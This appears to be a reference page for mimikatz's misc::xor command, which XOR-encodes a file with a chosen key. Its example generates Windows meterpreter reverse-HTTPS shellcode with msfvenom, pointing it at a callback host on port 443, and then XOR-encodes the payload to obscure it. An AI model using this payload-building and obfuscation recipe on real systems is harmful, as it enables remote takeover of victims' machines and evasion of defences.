xor

misc::xor performs XOR decoding/encoding on a provided file with 0x42 default key. It has the following command line arguments:

  • /input: the file to XOR encode

  • /output: the file to save the results

  • /xor: they XOR key

The following example XOR encodes a metasploit generated shellcode:

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f raw -o mimi.bin
mimikatz # misc::xor /input:mimi.bin /output:mimi-xor.bin
Input : mimi.bin
Output: mimi-xor.bin
Xor   : 0x42

Opening: OK
Writing: OK

Provide an XOR encoding key:

mimikatz # misc::xor /input:mimi.bin /output:mimi-xor.bin /xor:0x40
Input : mimi.bin
Output: mimi-xor.bin
Xor   : 0x40

Opening: OK
Writing: OK
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